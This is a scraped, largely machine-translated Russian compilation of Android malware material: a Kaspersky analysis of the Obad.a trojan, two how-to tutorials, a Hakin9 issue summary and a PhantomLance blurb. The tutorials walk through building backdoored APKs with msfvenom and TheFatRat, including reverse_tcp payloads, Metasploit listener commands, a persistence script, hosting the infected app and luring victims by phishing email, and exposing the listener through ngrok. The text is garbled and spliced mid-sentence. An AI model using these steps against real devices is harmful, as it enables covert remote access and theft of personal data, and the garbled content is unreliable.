Android backdoor: Backdoor:Android/Hummingbad Description | F-Secure Labs

BACK TO TOP

Set language

Available for this page:

[en] English   [de] Deutsch   [es] español   [fr] français   [pt-br] português   [ru] русский  

Самый сложный Android-троянец | Securelist

Недавно нам на анализ пришло приложение для ОС Android, при первом взгляде на которое стало ясно – это что-то необычное. Все строки DEX файла были зашифрованы, а код обфусцирован.

Файл оказался многофункциональным троянцем, который может отправлять SMS на премиум-номера; скачивать и устанавливать на зараженное устройство другие вредоносные программы и/или рассылать их по Bluetooth; выполнять удаленные команды в консоли. Сейчас эта вредоносная программа детектируется «Лабораторией Касперского» как Backdoor.AndroidOS.Obad.a.

Как правило, вирусописатели стараются максимально запутать код своего творения, чтобы усложнить работу антивирусным экспертам, но такой уровень маскировки, как у Obad.a, редко встречается среди мобильного вредоносного ПО. Однако особенностью нового троянца была не только полная обфускация кода.

Особенности троянца

Создатели Backdoor.AndroidOS.Obad.a нашли ошибку в популярной программе dex2jar, которая обычно используется аналитиками для конвертирования APK-файла в более удобный для работы формат JavaArchive (JAR). Обнаруженная злоумышленниками уязвимость  нарушает процесс конвертации Dalvik байт-кода в Java байт-код, что в итоге затрудняет статический анализ троянца.

Также злоумышленниками была найдена ошибка в OCAndroid, связанная с обработкой AndroidManifest.xml. Этот файл встречается в каждом Android-приложении и используется для описания структуры приложения, определения параметров его запуска и т.д.  Вирусописатели модифицировали AndroidManifest.xml таким образом, что тот не соответствовал заданному Google стандарту, но при этом, благодаря найденной уязвимости, правильно обрабатывался на смартфоне. В результате динамический анализ троянца крайне затруднен.

Создатели Backdoor.AndroidOS.Obad.a использовали еще одну неизвестную ранее ошибку в ОС Android, которая позволяет вредоносному приложению пользоваться расширенными правами DeviceAdministrator, но при этом отсутствовать в списке приложений, обладающих такими правами. В результате удалить со смартфона вредоносную программу, получившую расширенные права, невозможно.

Наконец, Backdoor.AndroidOS.Obad.a не имеет интерфейса и работает в фоновом режиме.

Анализ кода

В этом вредоносном приложении все внешние методы вызываются через рефлексию, при этом все строки (в том числе имена классов и методов) зашифрованы.

Каждый класс имеет локальный метод-декриптор, который получает требуемую для расшифровки строку из локально объявленного массива байт. Все строки «спрятаны» в этот массив.

Самые важные строки, содержащие адреса командного сервера, проходят дополнительный процесс расшифровки. Для этого троянец сначала проверяет наличие доступа в интернет, а затем загружает страницу facebook.com и, вытащив некий элемент кода этой страницы, использует его как ключ для расшифровки. Таким образом Backdoor.AndroidOS.Obad.a расшифровывает адреса командный серверов только в боевых условиях – при  наличии доступа в интернет. Кроме того, наличие этой функции затрудняет анализ зловреда.

Часть строк дополнительно зашифрована. Локальный декриптор получает закодированную строку в Base64 и раскодирует ее. Раскодированная строка расшифровывается сначала операцией XOR с MD5 ключа, затем дополнительно с MD5 от строки «UnsupportedEncodingException». Чтобы получить MD5 ключа, тот же локальный декриптор расшифровывает еще одну строку, от которой и считается MD5. Таким образом защищены ключевые строки, например, имя функции sendTextMessage.

В результате анализа нам удалось расшифровать все строки:

А результаты расшифровки позволили нам восстановить алгоритм работы приложения.

Получение прав

Сразу после запуска приложение пытается получить права DeviceAdministrator.

Как мы уже писали выше, одна из особенностей этого  троянца состоит в том, что в случае успешного получения расширенных прав, вредоносное приложение невозможно будет удалить: использование неизвестной ранее ошибки в ОС Android позволяет вредоносному приложению с расширенными правами отсутствовать в списке приложений, обладающих правами DeviceAdministrator.

Мы уже сообщили компании Google об уязвимости в работе с DeviceAdministrator в ОС Android.

Расширенные права DeviceAdministrator могут использоваться троянцем для кратковременной (не более 10 секунд) блокировки экрана устройства. Как правило, это происходит после подключения к бесплатному Wi-Fi или после активации Bluetooth, который может использоваться зловредом для передачи своих копий и других вредоносных приложений на находящиеся поблизости устройства. Возможно, таким образом Backdoor.AndroidOS.Obad.a пытается помешать пользователю обнаружить вредоносную активность.

Также троянец пытается получить права суперпользователя (root), выполняя команды «suid».

Связь c хозяевами

Информация о том, были ли получены права суперпользователя, будет передана на командный сервер. Получение прав root может дать злоумышленникам преимущества при удаленном выполнении команд в консоли.

Для передачи сведений о зараженном устройстве и проделанной работе Backdoor.AndroidOS.Obad.a использует активное в данный момент подключение к интернету. Если сеть не найдена, троянец ищет ближайшие сети Wi-fi, не требующие авторизации, и подключается к одной из них.

После первого запуска вредоносное приложение собирает и передает на командный сервер с адресом androfox.com  следующую информацию:

• MAC-адрес Bluetooth  устройства
• Имя оператора
• Номер телефона
• IMEI
• Баланс счета
• Получены или нет права DeviceAdministrator
• Получены или нет права суперпользователя
• Местное время

Собранная информация отправляется на сервер в виде шифрованного JSON-объекта.

Эта информация передается на актуальный на время связи командный сервер и при каждом последующем соединении. Кроме того, зловред сообщает хозяину о своем состоянии: приложение отправляет  на командный сервер актуальные таблицу премиум-номеров и префиксов для отправки SMS (параметр «aoc»), список  заданий («task») и список C&C серверов. При первом сеансе связи с командным сервером отправляется пустая таблица и список адресов командных серверов, расшифрованных описанным выше алгоритмом. В ходе сеанса связи с C&C троянец может получать обновленную таблицу премиум-номеров и новый список адресов C&C.

С сервера в ответ приходит другой JSON-объект, который после расшифровки может выглядеть так:

{"nextTime":1,"conf":{"key_con":"oKzDAglGINy","key_url":"3ylOp9UQwk","key_die":"ar8aW9YTX45TBeY","key_cip":"lRo6JfLq9CRNd6F7IsZTyDKKg8UGE5EICh5xjzk"}}

nextTime — следующее время обращения к серверу.

conf — конфигурационные строки.

Конфигурационные строки могут содержать указания на изменения C&C, таблицы номеров с префиксами и ключами для отправки SMS и новые задания с параметрами. Кроме того, в conf может передаваться ключ для шифровки трафика (key_cip).

Злоумышленники могут управлять троянцем и с помощью SMS-сообщений: конфигурационные строки могут также содержать строки-ключи, которые троянец будет искать во входящих SMS для выполнения определенных действий (key_con, key_url, key_die).

Каждое входящее SMS-сообщение проверяется на наличие одного из ключей. Если найден ключ — выполняется соответствующее действие:

key_con ‑ немедленное подключение к серверу.

key_die ‑ удаление заданий из базы данных.

key_url ‑  смена C&C сервера; за ней в тексте SMS должен идти новый адрес. Таким образом можно создать новый C&C сервер и отправить его адрес по SMS с соответствующим ключом key_url, после чего все зараженные устройства станут работать с новым сервером.

Если в conf найден ключ на отправку SMS, то троянец отправляет сообщение на полученные c С&C номера. Таким образом для получения команды на отправку платных SMS даже не нужно наличие интернета:

Команды сервера

С C&C сервера троянцу приходят команды, которые заносятся в базу. Каждая запись команды в этой базе содержит порядковый номер команды, указанное сервером время ее выполнения и параметры.

Список команд:

1. Отправить SMS. В параметрах содержится номер и текст. Ответные SMS удаляются.
2. Пинг.
3. Получить баланс по USSD.
4. Выступить в качестве прокси (отправить указанные данные на указанный адрес и вернуть ответ).
5. Подключиться к заданному адресу (кликер).
6. Скачать и установить файл с сервера.
7. Отправить на сервер список установленных на смартфоне приложений.
8. Отправить информацию об указанном командным сервером установленном приложении.
9. Отправить на сервер контакты пользователя.
10. Удаленный Shell. Выполняет указанные злоумышленником команды в консоли.
11. Передать файл всем обнаруженным Bluetooth-устройствам.

Набор команд для Obad.a позволяет зловреду распространять файлы по Bluetooth. С сервера приходит адрес файла, который должен быть скачан на зараженное устройство. После скачивания файла по очередной команде с сервера вредоносное приложение определяет ближайшие устройства с включенным Bluetooth и пытается передать им загруженный файл.

Несмотря на такие внушительные возможности, Backdoor.AndroidOS.Obad.a не очень распространен. По данным KasperskySecurityNetwork за три дня наблюдений на его заблокированные установки приходится не более 0,15% всех попыток заражения мобильных устройств различными вредоносными программами.

В завершение этого обзора хотим отметить, что по своей сложности и по количеству использованных неопубликованных уязвимостей Backdoor.AndroidOS.Obad.a  ближе к вредоносному ПО под Windows, чем к другим троянцам под Android. А это значит, что стремительно растет не только количество Android-зловредов, но и их сложность.

Backdooring Android Apps for Dummies — NVISO Labs

TL; DR — В этом посте мы рассмотрим некоторые мобильные вредоносные программы: как их создать, что они могут сделать и как их избежать. Хотите узнать больше о том, как защитить свой телефон от сомнительных лиц? Тогда этот пост в блоге для вас.

Введение

Все мы знаем классические идеи о безопасности на рабочем столе: установить антивирус, не переходить по подозрительным ссылкам, не заходить на сомнительные сайты. Те, кто идет еще дальше, могут наклеить наклейку на веб-камеру своего ноутбука, потому что это ответственное дело, верно?

Но почему большинство людей не применяют эту логику, когда дело касается их смартфонов? Если подумать, мобильный телефон — идеальная цель для хакеров. В конце концов, они часто поставляются не с одной, а с двумя камерами , микрофоном, GPS-антенной, динамиками и содержат массу полезной информации о нас, наших друзьях и сообщениях, которые мы им отправляем. О, и, конечно же, мы берем с собой наш телефон, куда бы мы ни пошли.

Другими словами, получение удаленного доступа к чьему-либо мобильному устройству позволяет злоумышленнику делать всевозможные неприятные вещи. В этой записи блога я расскажу, насколько просто можно создать элементарный троян для удаленного администрирования Android (или RAT, для краткости).

• Вы просто хотите знать, как избежать подобных атак? Тогда я предлагаю вам перейти к разделу «Как защитить себя» ниже в блоге.
• Хотите узнать все тонкости создания мобильных вредоносных программ? Затем следующий раздел шаг за шагом проведет вас по основам.

Важно знать, что этот metasploit RAT является очень известным штаммом вредоносного ПО, которое немедленно обнаруживается практически любым антивирусным решением. Этот учебник говорит о рудиментарный RAT, потому что ему не хватает многих функций, которые вы могли бы найти в реальных вредоносных программах в дикой природе, таких как обфускация, чтобы оставаться незамеченным, или постоянство, чтобы получить доступ к устройству, даже когда приложение закрыто. Поскольку мы просто изучаем возможности этих типов вредоносных программ и не собираемся атаковать реальную цель, этот метод отлично подойдет для этого руководства.

Готовим себе мобильное вредоносное ПО; рецепт

Ингредиенты

• Последняя виртуальная машина Kali с установленной последней версией Metasploit Framework
• Запасное устройство Android
• [Необязательно] Копия законного приложения Android (. apk)

Инструкции

Шаг 1. Узнайте свой IP-адрес

Кому сгенерировать полезную нагрузку, нам нужно будет узнать больше информации о нашей собственной системе. Первая часть информации, которую мы получим, — это IP-адрес нашей системы. Для целей этого сообщения в блоге мы будем использовать наш локальный IP-адрес, но в реальном мире вы, вероятно, будете использовать свой внешний IP-адрес, чтобы разрешить зараженным устройствам подключаться к вам.

Наш IP-адрес можно просто узнать, открыв окно терминала и введя следующую команду:

ip a

Я буду использовать адрес сетевого адаптера eth0, точнее, локальный IPv4-адрес как обведено на скриншоте.

Шаг 2 — Генерация полезной нагрузки

Здесь происходит настоящая работа: мы будем генерировать нашу полезную нагрузку, используя msfvenom , генератор полезной нагрузки, включенный в Metasploit Framework.

Прежде чем начать, подготовьте следующее:

1. Ваш IP-адрес, полученный на предыдущем шаге
2. Любой неиспользуемый порт для запуска обработчика эксплойта на
3. (Необязательно) Легальное приложение для сокрытия бэкдора

У нас есть два варианта: либо мы генерируем полезную нагрузку отдельно, либо скрываем ее как часть существующего законного приложения. Хотя первое проще, мы пойдем еще дальше и будем использовать старую версию известного приложения для путешествий, чтобы замаскировать наше вредоносное ПО.

Для этого откройте новое окно терминала и перейдите в папку, содержащую законную копию приложения, которое вы хотите заблокировать, затем выполните следующую команду:

msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=<ваш неиспользуемый порт> -x <легитимное приложение> -k -o <выходное имя>

Для этого сообщения в блоге я использовал следующие значения:

• <ваш IP-адрес> = 192.168.43.6
• < ваш неиспользуемый порт >= 4444
• <легитимное приложение> = tripadvisor.apk
• <выходное имя> = ta-rat.apk

Шаг 3. Проверка вредоносного ПО , нам нужно запустить прослушиватель на нашей виртуальной машине kali на том же порту, который мы использовали для создания нашего вредоносного ПО. Для этого выполните следующие команды:

msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost <ваш IP-адрес>
set lport <ваш неиспользуемый порт>
run

Теперь, когда наш прослушиватель настроен и готов принимать подключения, нам остается только запустить вредоносное ПО на нашем запасном телефоне Android.

Для целей этого поста я просто перенес файл .apk во внутреннюю память устройства и запустил его. Как вы можете видеть на скриншоте, бэкдорному приложению требуется гораздо больше разрешений, чем оригиналу.

Для этого введите:

• загрузить что-нибудь.sh

Что за? Нет! Нам нужно Root Access для выполнения этой команды! Штопать!

Never-Mind:

> Давайте просто сделаем приложение (то есть основное действие) постоянным до перезагрузки
> Однако это не будет постоянным после перезагрузки системы Android на жертве.
> Чтобы сделать это, загрузить сценарий в любом месте в SDCARD:

• CD /
• CD /SDCARD /Скачать
• LS
• ulwoad. Загружено!

  Шаг 4: Выполнение сценария:

  Теперь все, что нам нужно сделать, это выполнить сценарий один раз, после чего все будет сделано сценарием автоматически.
  Drop into the system’s shell by typing:

  • shell

  Now, navigate to the location of the script:

  • cd /
  • cd /sdcard/Download
  • ls

  Теперь пришло время для ИСПОЛНЕНИЕ . Тип:

  • sh что угодно.sh

  Скрипт был Активирован ! Все, что вам нужно сделать, это нажать ctrl+C, чтобы закрыть оболочку (не волнуйтесь, скрипт все еще работает)

  Перезагрузитесь, чтобы удалить скрипт, или используйте Task Killer

  Шаг 5: Тестирование.

  ..

  Вы можете протестировать его, выйдя из meterpreter и снова настроив Listener.
  Вы должны автоматически получить подсказку измерителя!
  ДОКАЗАТЕЛЬСТВО:

  Вау! Это произошло так быстро, что 3 сеанса открылись один за другим.

  (я знаю, что на приведенном выше рисунке показано, что я взламываю локальную сеть, а не глобальную, поскольку мой общедоступный IP-адрес динамический, а у моего маршрутизатора были некоторые технические проблемы, поэтому он постоянно перезагружался, поэтому я показал t в локальной сети, НО не беспокойтесь, я протестировал его в глобальной сети, работает отлично )

  КОНЕЦ:

  Да! Наконец-то был успешно создан постоянный бэкдор для систем Android.

  Что нужно помнить:

  • Постоянство бэкдора останется только до перезагрузки системы Android.
  • Если вы взламываете WAN и у вас есть динамический общедоступный IP-адрес, то постоянство будет сохраняться только до тех пор, пока ваш маршрутизатор не перезагрузится / ваш IP-адрес не изменится.
  • Не забудьте перезагрузить Android, чтобы удалить работающий скрипт, если вы тестируете свою собственную систему Android.
  • Если система Android жертвы имеет root-права, а ваш общедоступный IP-адрес является статическим, тогда:

  1) Постоянство навсегда останется в глобальной сети!
  2)Постоянство навсегда останется в локальной сети Очевидно

  До свидания, хакеры!

  Продолжайте ждать!
  Буду ждать ваших лайков и комментариев,

  Спасибо,
  F.E.A.R.

  Хотите начать зарабатывать как белый хакер? Сделайте рывок в своей карьере хакера с помощью нашего комплекта обучения Premium Ethical Hacking Certification 2020 от нового магазина Null Byte и получите более 60 часов обучения от профессионалов в области кибербезопасности.

  Купить сейчас (скидка 90 %) >

  Другие выгодные предложения:

  • Скидка 97 % на The Ultimate 2021 White Hat Hacker Certification Bundle
  • Скидка 99 % на All-in-One Data Scientist Mega 2021 Комплект
  • Скидка 98 % на сертификационный пакет Premium Learn To Code 2021
  • Скидка 62 % Программное обеспечение MindMaster Mind Mapping: Бессрочная лицензия 226 комментариев
    • Горячий
    • Последний

    Как открыть бэкдор на устройствах Android — Hakin9

    Уважаемые читатели,

    Представляем вашему вниманию наш новый номер, первый в 2018 году. Надеемся, статьи будут вам интересны и вы успеете их прочитать.

    Мы начнем с изучения инструмента PortSpoof и техники активной защиты, когда вы инициируете контратаку, нацеленную на злоумышленников. Затем мы углубимся в безопасность SCADA и узнаем, как она влияет на сферу кибербезопасности. А для пользователей Python у нас есть специальная статья, в которой вы узнаете, как создать собственный ботнет и повеселиться с протоколом MQTT.

    Обязательно прочитайте нашу основную статью; Как открыть бэкдор на Android-устройствах. Вместе с автором мы выполним простые действия, чтобы заразить Android-приложение полезной нагрузкой, позволяющей получить удаленный доступ к устройству жертвы. Все это мы сделаем с помощью Metasploit Framework!

    В статье Марка Бишопа у вас будет возможность увидеть, как зашифровать список паролей. Джейкоб Белл представит наиболее важные аспекты DDoS-атак, а Питер Андерсон Лопес продемонстрирует основные этапы проведения теста на вторжение в своей статье об использовании SMB и Kerbos для получения доступа администратора. Все это и многое другое можно найти в этом выпуске.

    Мы также хотели бы поблагодарить вас за вашу поддержку. Мы очень ценим это. Если вам понравилась эта публикация, вы можете поделиться ею и рассказать о ней своим друзьям! Каждый комментарий очень важен для нас.

    Наслаждайтесь чтением,

    Magazine Hakin9

    Редакционная команда

    ---

    ---

    ---

    Portpoof-Active Defense Tool

    от Osama ALAA

    . Правильно. Организации. Организации. Организации. Организации. Организация. Организация из-за обороны. я так не думаю; на самом деле все сосредоточены на обеспечении безопасности среды различными методами, такими как усиление защиты, исправление и блокировка подозрительных Индикаторы компрометации «МОК», другие могут проводить регулярные оценки и т. д., и мы можем сказать, что они ПРОАКТИВНЫ. Но между тем методы злоумышленников в настоящее время более изощренны, чем раньше, и некоторые из этих методов могут быть неэффективны против определенных типов угроз.

    Именно поэтому в нашей статье мы обсудим интересный подход «Активная защита», где мы будем защищать себя в дополнение к инициированию ответных атак, нацеленных на самих злоумышленников.

    ---

    SCADA-Security in the Wild

    by Prasenjit Kanti Paul

    В реальном мире все становится цифровым, автоматизированным и умным. То же самое применимо к системе диспетчерского управления и сбора данных (SCADA). SCADA является частью промышленной системы управления (ICS). На пороге мировой кибервойны важно знать об измерении безопасности и средствах управления, связанных с системами SCADA/ICS.

    ---

    Python для Интернета вещей: создайте собственный ботнет и получайте удовольствие от протокола MQTT

    Адриан Родригес Гарсия

    Сначала поговорим об основных атаках, которые произошли в этом году. Цель состоит в том, чтобы показать большую проблему безопасности, которая существует сегодня из-за знаний киберпреступников и отсутствия знаний или осведомленности людей. Затем мы воспользуемся языком Python и огромными возможностями его библиотек, чтобы продемонстрировать, как создать базовую ботнет с помощью непрямой атаки. То есть ни на какую систему не будет совершена атака, потому что это будут люди, которые установят вредоносное программное обеспечение, сделанное нами. Далее мы проведем прямую атаку на системы Android с целью получения ботнета. Для этого воспользуемся поисковиком устройств, например Shodan. Наконец, мы поговорим о протоколе MQTT, который очень часто используется в мире Интернета вещей и, как вы увидите, очень опасен, если он не защищен должным образом.

    ---

    Как открыть бэкдор на устройствах Android  

    Через вставку полезной нагрузки в законный APK

    от Lucas García

    . использование полезной нагрузки для открытия бэкдора. Мы будем делать все через Metasploit Framework, так как он очень известен и используется профессионалами. Msfvenom — это инструмент Metasploit, который сочетает в себе msfpayload и msfencode: msfpayload создает зараженные исполняемые файлы с полезными нагрузками, а msfencode маскирует их или скрывает от антивируса.

    

    ---

    «Я хочу, чтобы это был хороший инструмент, которым я мог бы гордиться»

    Интервью с Даниэлем Араужо, создателем Proctal Влияние

    by Jacob Bell

    Распределенные атаки типа «отказ в обслуживании» (DDoS) стали более заметными в последние годы и часто нацелены на предприятия и организации. Атаки увеличиваются в масштабах и становятся все более серьезными. В этой статье мы попытаемся определить, что такое DDoS-атаки, определить основные типы атак и обсудить факторы, которые позволяют им быть успешными. В этом документе также будут освещены недавние DDoS-атаки: их происхождение, последствия и типы пострадавших организаций. Будут обсуждаться стратегии защиты от DDoS-атак, при этом особое внимание будет уделено тому, что предприятия могут сделать для уменьшения ущерба, если они станут жертвами DDoS-атак.

    ---

    Использование SMB и Kerberos для получения доступа администратора

    , автор Petter Anderson Lopes

    Целью данной статьи является демонстрация основных шагов для выполнения теста на вторжение. Являясь решением растущего спроса на связь между людьми, беспроводные сети стали играть ключевую и незаменимую роль в корпоративных сетях. Эти сети, в свою очередь, нуждаются в эффективном мониторинге, а специалисты, которые ими управляют, должны понимать риски и намечать существующие уязвимости. Процедуры обнаружения недостатков безопасности могут быть автоматизированы с помощью инструментов или выполняться квалифицированным специалистом, который будет вручную проверять каждую критическую точку, таким как Pentester. Эта работа направлена ​​на демонстрацию шагов выполнения теста на вторжение для получения важных данных, таких как доступ к сетевому администратору. Используя тестирование на вторжение, сетевые администраторы могут выявлять уязвимости и, таким образом, предлагать улучшения и исправления, чтобы избежать вторжения цифровых преступников.

    ---

    Внедрение хранилища паролей на основе одноразового блокнота: решение для бедных

    Марк Бишоп деталей очень простой реализации. Он основан на мощном, по своей сути простом методе шифрования: шифре Вернама или одноразовом блокноте (OTP). Я использовал обсуждаемое здесь решение, реализованное на платформе Linux, для защиты моих личных списков паролей. Автор не дает никаких гарантий на этот подход, даже никаких подразумеваемых гарантий товарной пригодности или пригодности для конкретной цели.

    ---

    Корреляция журнала SOC

    by Seifallah Karaa

    В последнее время хакерские атаки становятся все более частыми. На самом деле, основными целями этих атак являются правительства и транснациональные корпорации. На самом деле, это увеличение хакерских атак связано с нехваткой экспертов или их отсутствием в этих учреждениях, так что они не могут обеспечить мгновенную защиту своих информационных систем. Это также привело к серьезным потерям, будь то финансовые, материальные или с точки зрения конфиденциальности и секретности. По этой причине некоторые решения Security Operation Center (SOC) должны быть внедрены в информационные системы этих учреждений в качестве способа предотвращения таких потенциальных угроз. В этой статье я собираюсь упомянуть некоторые из основных функций решений SOC, уделив особое внимание корреляции файла журнала, объясненной на примере атаки грубой силы.

    ---

    Облако за пределами хакерства

    Андреа Каваллини

    Облако — это методология, которая позволяет нам иметь приложения и вообще все ресурсы, о которых мы мечтаем, сконфигурированные и сохраненные в сети Интернет без нашего управления. Облачные провайдеры (Amazon, Microsoft, Google и т. д.) располагают всеми необходимыми аппаратными структурами, чтобы облегчить нам работу. В прошлом услуги хостинга предоставляли ресурсы, они создавали удаленный сервер, и разработчик должен был управлять им, от развертывания кода до оценки уязвимости.

     

    
    

    Download

    File
    How To Open a Backdoor in Android Devices.pdf

    
    

    Backdooring Android Apps with FatRat and Metasploit Framework · GitHub

    Мы должны отметить, мобильные приложения сегодня являются ОГРОМНЫМ рынком. Многие предприниматели отказались от веб-опыта для создания прорывных мобильных решений. Битва смартфонов продолжается сегодня между IOs и Android . У обоих есть плюсы и минусы, они спроектированы и настроены с настройками безопасности по умолчанию, которые, возможно, не идеальны для неопытных людей.

    В этом документе демонстрируется практичный и простой пример того, как создать бэкдор обратного TCP на основе существующего файла APK .

    Это довольно распространенная «Атака социальной инженерии» , и она сосредоточена на создании обратного TCP-соединения , где 9Злоумышленник 0009 легко может сгенерировать доступ к оболочке вашего телефона Android в то время, когда вы используете зараженное приложение, и сделать что-то вредоносное или получить доступ к вашей личной информации без каких-либо проблем.

    И когда подразумеваются «социально-инженерные атаки» из-за способа их распространения, я немного объясню, каковы типичные фазы этих атак.

    Эта демонстрация была создана на контроллере и в локальной лаборатории, но ее можно легко выполнить в сетях WAN.

    Социальная инженерия (простыми словами)

    Чтобы очень четко объяснить концепцию, мы можем разделить термин на два элемента, где Социальное обеспечение может быть установлено как личная и профессиональная жизнь , Инженерное дело относится к выполнению задач путем выполнения определенных шагов для достижения целей . Это вместе взятые.

    Социальная инженерия — это термин , описывающий нетехническое вторжение, которое в значительной степени зависит от человеческого взаимодействия путем обмана других людей, чтобы они нарушили обычные процедуры безопасности .

    На самом деле все довольно просто. Все дело в том, чтобы высмеивать или обманывать людей, чтобы они использовали или загружали вредоносное ПО и использовали его в злонамеренных целях.

    Фазы социальной инженерии

    Атаку можно описать примерно так:

    1. Исследование: пытается собрать информацию о цели, собранную из различных ресурсов (жизнь на свалке, веб-сайт, документы, взаимодействия).
    2. Крюк: делает начальный ход, пытаясь начать разговор с выбранной целью после завершения фазы исследования.
    3. Играть: укрепить отношения и продолжить диалог, чтобы использовать отношения и получить желаемую информацию.
    4. Выход: уходит с места атаки или прекращает связь с целью, не создавая сцены и не делая ничего подозрительного.

    Рабочая лаборатория

    Виртуализированный Kali Linux 2018.4 64-разрядная версия на Oracle Virtualbox.

    A Samsung Galaxy S6 с Android 4.4 Kitkat с некоторыми стандартными настройками безопасности.

    Обе машины подключены к одной локальной сети.

    Инструменты

    Ключевым инструментом для этого семинара является инструмент FatRat Exploitation tool . Эта программа, написанная на Python, может легко генерировать бэкдоров в любом существующем приложении для Android или практически на любом другом устройстве с известными полезными нагрузками из Metasploit Framework (и других также полезная нагрузка). Этот инструмент может выполнять множество других действий, вы можете проверить инструмент GitHub страница здесь.

    Процесс установки довольно прост, просто имейте в виду, что это может занять некоторое время, поскольку установлены зависимости.

    Важно : обновите и обновите свои репозитории Kali перед установкой, это может сэкономить ваше время.

    Отлично, давайте установим FatRat :

    1. Клонировать репозиторий из GitHub :

       git-клон https://github. com/Screetsec/TheFatRat.git

    2. Внутри клонированного репозитория вы измените права доступа к файлу setup.sh , чтобы сделать его исполняемым файлом

       компакт-диск TheFatRat

       chmod +x setup.sh && ./setup.sh

    3. Следуйте инструкциям

    С другой стороны, у нас есть Metasploit Framework , это инструмент проникновения с открытым исходным кодом, используемый для разработки и выполнения кода эксплойта на удаленных целевых машинах. Может использоваться для проверки уязвимостей компьютерных систем с целью их защиты, а с другой стороны, также может использоваться для взлома удаленных систем.

    Этот замечательный инструмент уже установлен в ОС Kali Linux.

    Давайте немного помолчим.

    В данный момент (если вы впервые слышите о Metasploit Framework) мне нужно углубиться в это объяснение, потому что есть некоторые ключевые термины, которые могут вас немного сбить с толку. Ранее я говорил, что этот инструмент используется для тестирования уязвимостей , верно? Уязвимость — это уязвимость, которая может поставить под угрозу безопасность любой системы.

    Эта уязвимость эксплуатируется с использованием эксплойта , этот эксплойт относится к программному коду, который позволяет злоумышленнику воспользоваться уязвимостью.

    И, наконец, когда уязвимость эксплуатируется, активируется полезная нагрузка , это означает, что мы запускаем некоторый код на целевой системе, чтобы эксплуатация сохранялась вовремя

    С учетом всего сказанного. Давай работать.

    Практика

    Давайте скачаем чистый APK

    В этом примере я загрузил Flappy Bird APK отсюда

    Это подлинная APK-игра.

    Я лично переименовал имя загрузки в простой файл flapybird. apk и переместил его из каталога загрузок в пользовательскую папку с именем backdooring-android (это необязательно)

    Использование FatRat

    Когда я устанавливал FatRat на свой Kali, установщик спросил, хочу ли я установить команду fatrat глобально, я сказал да , это может отличаться от вашего процесса

    1. Набрав фатрат система оценит и настроит необходимые и доступные службы
    2. Type 5 , для Backdooring Original apk [Instagram, Line и т. д.]
    3. Настройте локальный хост (LHOST) и локальный порт (LPORT). Это будет представлять IP-адрес хост-машины (Kali) и любой неиспользуемый порт для прослушивания подтверждения сеанса TCP (я объясню это позже)
    .
    4. Теперь нам нужно ввести местоположение путь файла flippybird. apk , в моем случае это /root/backdooring-android/flappybird.apk
    5. Настройка полезной нагрузки (термин Metasploit) для обратного TCP. Выберите опцию 3: android/meterpreter/reverse_tcp
    6. Выберите 1: Используйте Backdoor-apk 0.2.2 это инструмент для создания зараженного APK

    Вот и все. Тем временем FatRat декомпилирует оригинальный APK , и после некоторого внутреннего процесса будет создан новый зараженный APK с именем по умолчанию app_backdoor.apk

    После этого мы установили для генерации слушателя значение no , мы собираемся сгенерировать его вручную с помощью Metasploit Framework

    .

    Создание прослушивателя вручную

    Вторая часть этой атаки состоит в том, чтобы настроить хост-компьютер (Kali) в качестве прослушивателя двунаправленного TCP-соединения , это основная цель Обратная атака оболочки TCP через социальную инженерию. Атака будет иметь доступ оболочки к машине Android без уведомления пользователя.

    Начнем с запуска команды msfconsole

    > msfconsole

    После этого мы устанавливаем эксплойт multi/handler вот так

    > использовать мульти/обработчик

    Позже, установка полезной нагрузки (то же самое на процессе FatRat)

    > установить ПОЛЕЗНУЮ НАГРУЗКУ android/meterpreter/reverse_tcp

    > установите LHOST [такой же, как ваш IP-адрес Kali]

    > установить LPORT [то же, что и процесс FatRat]

    > эксплойт (работает)

    Апач на Кали

    Проверка состояния службы Apache (она уже установлена)

     статус systemctl apache2
     

    Запуск службы

     systemctl запустить apache2
     

    Размещение зараженного бэкдора (переименованного или нет) для жертв

    /var/www/html/ каталог

    Заключение

    В этой сетевой среде LAN злоумышленнику необходимо предоставить жертве этот новый зараженный APK на сервере Apache, отправив поддельное электронное письмо со ссылкой или любым другим способом, чтобы заставить людей загрузить новый « FlappyBird. apk » на своем Android-устройстве.

    После того, как жертва загрузит приложение и откроет его, новый сеанс прослушивателя будет успешно создан с использованием meterpreter (полезная нагрузка) оболочка. Злоумышленник теперь имеет полный доступ к целевым настраиваемым атакам или выполняет некоторую эскалацию rivilege p из интерфейса командной строки .

    Вы можете перечислить сеансы, например:

    > сеансы

    Вы также можете выбрать активный сеанс и взаимодействовать с ним, используя флаг -i

    > сеансы -i 1

    Мой результирующий APK

    Вы можете скачать мой зараженный FlappyBird.apk файл здесь

    Я не совсем уверен, что установка Kali машины со статическим IP-адресом, таким же, как тот, который я использовал, может заставить эту Malware работать правильно. Но, если это так, мой рабочий IP-адрес был IP-адресом класса C 192.168.2.120 и портом 4444.

    Из локальной сети в глобальную

    Простой способ масштабирования локального IP-адреса — использование простого инструмента туннелирования под названием ngRok. Этот инструмент преобразует простой 127.0.0.1 во что-то общедоступное.

    Ознакомьтесь с документацией по установке и настройке authtoken .

    После этого вы можете установить команду ngrok для TCP-соединений, например:

    > ngrok tcp 1234 для TCP протокол на 1234 протокол

    Весь процесс такой же, но вам нужно будет заменить LHOST (веб-интерфейс от ngrok) и LPORT (порт от TCP-соединения ngrok) на элементы, которые 9Вам предоставлен 0009 ngrok .

    Советы по предотвращению

    1. Поддерживайте свое Android-устройство в актуальном состоянии (исправления и версия ОС)
    2. НИКОГДА не загружайте . apk из ненадежных источников
    3. Всегда проверяйте URL-адрес на предмет преднамеренных ошибок в написании доменных имен
    4. Обучайтесь

    Удачной охоты 🙂

    Android-бэкдор PhantomLance в Google Play

    В июле прошлого года наши коллеги из компании «Доктор Веб» обнаружили в Google Play троянский бэкдор. Такие находки не то чтобы повседневное явление, но и не редкость — исследователи находят троянов в Google Play, иногда сотни за раз.

    Этот троянец, однако, оказался на удивление изощренным для вредоносных программ, найденных в Google Play, поэтому наши специалисты решили копнуть глубже. Они провели собственное расследование и обнаружили, что вредоносное ПО является частью вредоносной кампании (которую мы назвали PhantomLance), которая ведется с конца 2015 года. Несмотря на их возрастающую сложность и различия во времени появления, они достаточно схожи по возможностям.

    Основной задачей PhantomLance является сбор конфиденциальной информации с устройства жертвы. Вредонос способен предоставлять своим обработчикам данные о местоположении, журналы вызовов, текстовые сообщения, списки установленных приложений и полную информацию о зараженном смартфоне. Более того, его функциональность в любой момент можно расширить, просто загрузив дополнительные модули с C&C-сервера.

